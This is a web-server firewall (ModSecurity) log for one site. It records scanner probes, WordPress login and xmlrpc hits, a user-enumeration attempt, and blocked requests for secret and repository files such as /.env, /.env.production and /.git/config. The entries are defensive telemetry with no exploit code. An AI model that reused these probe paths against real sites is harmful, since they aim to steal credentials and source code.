[Fri Mar 20 15:01:08.565555 2026] [:error] [pid 49081:tid 49139] [client 51.77.216.36:59554] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abzwtBo1LBAUhfhYPR3WXwAAARg"]
[Fri Mar 20 15:01:11.072020 2026] [:error] [pid 27302:tid 27323] [client 51.77.216.36:57674] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abzwt7DKiUve17xv6yEUygAAANM"]
[Fri Mar 20 15:01:13.249136 2026] [:error] [pid 27302:tid 27328] [client 51.77.216.36:57688] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abzwubDKiUve17xv6yEU1gAAANg"]
[Fri Mar 20 15:01:16.443023 2026] [:error] [pid 49081:tid 49125] [client 51.77.216.36:57690] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abzwvBo1LBAUhfhYPR3WcgAAAQo"]
[Fri Mar 20 15:01:19.016570 2026] [:error] [pid 51714:tid 51722] [client 51.77.216.36:57696] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abzwvzWI82pxvQ0gksulVQAAAIY"]
[Fri Mar 20 15:01:21.373222 2026] [:error] [pid 49082:tid 49152] [client 51.77.216.36:43718] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abzwwapllYJI1LUIdL-EKgAAAUo"]
[Fri Mar 20 15:01:23.621979 2026] [:error] [pid 49081:tid 49134] [client 51.77.216.36:43728] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abzwwxo1LBAUhfhYPR3WfwAAARM"]
[Fri Mar 20 15:01:26.129052 2026] [:error] [pid 49081:tid 49125] [client 51.77.216.36:43742] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abzwxho1LBAUhfhYPR3WggAAAQo"]
[Fri Mar 20 15:01:28.290565 2026] [:error] [pid 49170:tid 49185] [client 51.77.216.36:43758] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abzwyM-c8ctLVDCqUJUoNQAAAAs"]
[Fri Mar 20 15:01:30.349523 2026] [:error] [pid 49080:tid 49089] [client 51.77.216.36:52796] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abzwyok5CHi4V0A3tth8kgAAAEM"]
[Fri Mar 20 15:01:32.736609 2026] [:error] [pid 49081:tid 49129] [client 51.77.216.36:52802] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abzwzBo1LBAUhfhYPR3WjwAAAQ4"]
[Fri Mar 20 15:01:35.251678 2026] [:error] [pid 49080:tid 49092] [client 51.77.216.36:52808] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abzwz4k5CHi4V0A3tth8owAAAEY"]
[Fri Mar 20 15:01:37.539915 2026] [:error] [pid 49081:tid 49131] [client 51.77.216.36:52820] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abzw0Ro1LBAUhfhYPR3WlgAAARA"]
[Fri Mar 20 15:01:39.814458 2026] [:error] [pid 49170:tid 49179] [client 51.77.216.36:52830] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abzw08-c8ctLVDCqUJUoOwAAAAU"]
[Fri Mar 20 15:01:41.973250 2026] [:error] [pid 49082:tid 49158] [client 51.77.216.36:50612] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abzw1apllYJI1LUIdL-EMwAAAVA"]
[Fri Mar 20 15:01:44.122498 2026] [:error] [pid 49082:tid 49161] [client 51.77.216.36:50626] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abzw2KpllYJI1LUIdL-ENwAAAVM"]
[Fri Mar 20 15:01:46.561304 2026] [:error] [pid 27302:tid 27326] [client 51.77.216.36:50636] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abzw2rDKiUve17xv6yEU7QAAANY"]
[Fri Mar 20 15:01:48.982574 2026] [:error] [pid 49081:tid 49129] [client 51.77.216.36:50652] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abzw3Bo1LBAUhfhYPR3WvgAAAQ4"]
[Fri Mar 20 15:01:51.285013 2026] [:error] [pid 27302:tid 27318] [client 51.77.216.36:41916] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abzw37DKiUve17xv6yEU-AAAAM4"]
[Fri Mar 20 15:02:10.856018 2026] [:error] [pid 49080:tid 49087] [client 51.77.216.36:41930] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "abzw8ok5CHi4V0A3tth85gAAAEE"]
[Fri Mar 20 15:02:12.839213 2026] [:error] [pid 49081:tid 49136] [client 51.77.216.36:36318] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "abzw9Bo1LBAUhfhYPR3XCQAAARU"]
[Fri Mar 20 15:02:14.967873 2026] [:error] [pid 49170:tid 49194] [client 51.77.216.36:36332] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "abzw9s-c8ctLVDCqUJUoTwAAABQ"]
[Fri Mar 20 15:02:16.899698 2026] [:error] [pid 49080:tid 49098] [client 51.77.216.36:36336] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "abzw-Ik5CHi4V0A3tth88wAAAEw"]
[Fri Mar 20 15:02:18.979531 2026] [:error] [pid 49080:tid 49100] [client 51.77.216.36:36348] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "abzw-ok5CHi4V0A3tth8-wAAAE4"]
[Fri Mar 20 15:02:20.963130 2026] [:error] [pid 51714:tid 51717] [client 51.77.216.36:42648] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "abzw_DWI82pxvQ0gksulowAAAIE"]
[Fri Mar 20 15:25:49.686321 2026] [:error] [pid 49170:tid 49186] [client 66.29.152.58:60014] [client 66.29.152.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "abz2fc-c8ctLVDCqUJUukwAAAAw"]
[Fri Mar 20 15:42:50.297147 2026] [:error] [pid 49081:tid 49123] [client 43.166.239.145:49016] [client 43.166.239.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abz6eho1LBAUhfhYPR3vJgAAAQg"]
[Fri Mar 20 15:52:02.272250 2026] [:error] [pid 49080:tid 49093] [client 162.241.60.43:35602] [client 162.241.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abz8ook5CHi4V0A3ttiUUQAAAEc"]
[Fri Mar 20 15:52:06.319634 2026] [:error] [pid 51714:tid 51730] [client 162.241.60.43:35608] [client 162.241.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abz8pjWI82pxvQ0gksuvWwAAAI4"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 16:15:44.322882 2026] [:error] [pid 49081:tid 49115] [client 192.185.176.76:43658] [client 192.185.176.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0CMBo1LBAUhfhYPR0FuAAAAQA"]
[Fri Mar 20 16:15:46.130069 2026] [:error] [pid 49081:tid 49127] [client 192.185.176.76:43658] [client 192.185.176.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0CMho1LBAUhfhYPR0FwQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 16:16:14.039227 2026] [:error] [pid 49081:tid 49121] [client 198.57.247.226:33006] [client 198.57.247.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0CTho1LBAUhfhYPR0GRQAAAQY"]
[Fri Mar 20 16:16:15.911508 2026] [:error] [pid 49081:tid 49124] [client 198.57.247.226:33006] [client 198.57.247.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0CTxo1LBAUhfhYPR0GXQAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 16:23:31.775655 2026] [:error] [pid 49170:tid 49195] [client 141.98.11.17:54328] [client 141.98.11.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "ab0EA8-c8ctLVDCqUJU9igAAABU"], referer: binance.com
[Fri Mar 20 17:29:13.770755 2026] [:error] [pid 49081:tid 49138] [client 198.57.247.176:58036] [client 198.57.247.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0TaRo1LBAUhfhYPR03CgAAARc"]
[Fri Mar 20 17:29:15.596488 2026] [:error] [pid 49081:tid 49133] [client 198.57.247.176:58036] [client 198.57.247.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0Taxo1LBAUhfhYPR03DwAAARI"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 17:38:57.041400 2026] [:error] [pid 49081:tid 49132] [client 134.255.58.165:63348] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0VsRo1LBAUhfhYPR09UQAAARE"]
[Fri Mar 20 17:45:49.714185 2026] [:error] [pid 51714:tid 51719] [client 34.14.155.41:52012] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XTTWI82pxvQ0gksvFegAAAIM"]
[Fri Mar 20 17:45:53.132693 2026] [:error] [pid 51714:tid 51717] [client 34.14.155.41:52012] [client 34.14.155.41] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ab0XUTWI82pxvQ0gksvFfwAAAIE"]
[Fri Mar 20 17:45:54.514368 2026] [:error] [pid 51714:tid 51739] [client 34.14.155.41:52012] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XUjWI82pxvQ0gksvFgQAAAJc"]
[Fri Mar 20 17:45:56.344670 2026] [:error] [pid 27302:tid 27305] [client 34.14.155.41:54864] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XVLDKiUve17xv6yFNbAAAAME"]
[Fri Mar 20 17:45:58.112967 2026] [:error] [pid 49081:tid 49121] [client 34.14.155.41:61989] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XVho1LBAUhfhYPR1COAAAAQY"]
[Fri Mar 20 17:45:59.818836 2026] [:error] [pid 49082:tid 49161] [client 34.14.155.41:59750] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XV6pllYJI1LUIdL-evgAAAVM"]
[Fri Mar 20 17:46:01.582401 2026] [:error] [pid 49080:tid 49098] [client 34.14.155.41:59210] [client 34.14.155.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.14.155.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XWYk5CHi4V0A3ttjMMQAAAEw"]
[Fri Mar 20 17:46:01.582591 2026] [:error] [pid 49080:tid 49098] [client 34.14.155.41:59210] [client 34.14.155.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.14.155.41, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab0XWYk5CHi4V0A3ttjMMQAAAEw"]
[Fri Mar 20 17:55:03.823690 2026] [:error] [pid 51714:tid 51737] [client 162.241.2.94:47732] [client 162.241.2.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0ZdzWI82pxvQ0gksvH5QAAAJU"]
[Fri Mar 20 17:55:06.337900 2026] [:error] [pid 51714:tid 51726] [client 162.241.2.94:47732] [client 162.241.2.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab0ZejWI82pxvQ0gksvH6gAAAIo"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 19:00:02.005660 2026] [:error] [pid 51714:tid 51732] [client 162.158.95.119:11867] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ab0osjWI82pxvQ0gksvUQAAAAJA"]
[Fri Mar 20 19:00:02.014683 2026] [:error] [pid 49081:tid 49125] [client 162.158.95.119:11861] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/logs/HEAD"] [unique_id "ab0osho1LBAUhfhYPR1w2gAAAQo"]
[Fri Mar 20 19:00:02.026319 2026] [:error] [pid 49081:tid 49115] [client 162.158.95.119:11871] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/refs/heads/master"] [unique_id "ab0osho1LBAUhfhYPR1w2wAAAQA"]
[Fri Mar 20 19:00:02.123749 2026] [:error] [pid 49081:tid 49128] [client 172.68.193.147:10702] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ab0osho1LBAUhfhYPR1w3QAAAQ0"]
[Fri Mar 20 19:00:02.124489 2026] [:error] [pid 49080:tid 49110] [client 172.68.193.147:10701] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/refs/heads/main"] [unique_id "ab0osok5CHi4V0A3ttjr-AAAAFg"]
[Fri Mar 20 19:00:02.155538 2026] [:error] [pid 49081:tid 49135] [client 172.68.193.147:10700] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/index"] [unique_id "ab0osho1LBAUhfhYPR1w3gAAARQ"]
[Fri Mar 20 19:00:03.011972 2026] [:error] [pid 51714:tid 51725] [client 162.158.95.120:9431] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ab0oszWI82pxvQ0gksvUQgAAAIk"]
[Fri Mar 20 19:00:03.046387 2026] [:error] [pid 49082:tid 49159] [client 172.68.193.146:11101] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "ab0os6pllYJI1LUIdL-rYQAAAVE"]
[Fri Mar 20 19:00:03.049086 2026] [:error] [pid 49082:tid 49157] [client 162.158.95.120:9432] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "ab0os6pllYJI1LUIdL-rYgAAAU8"]
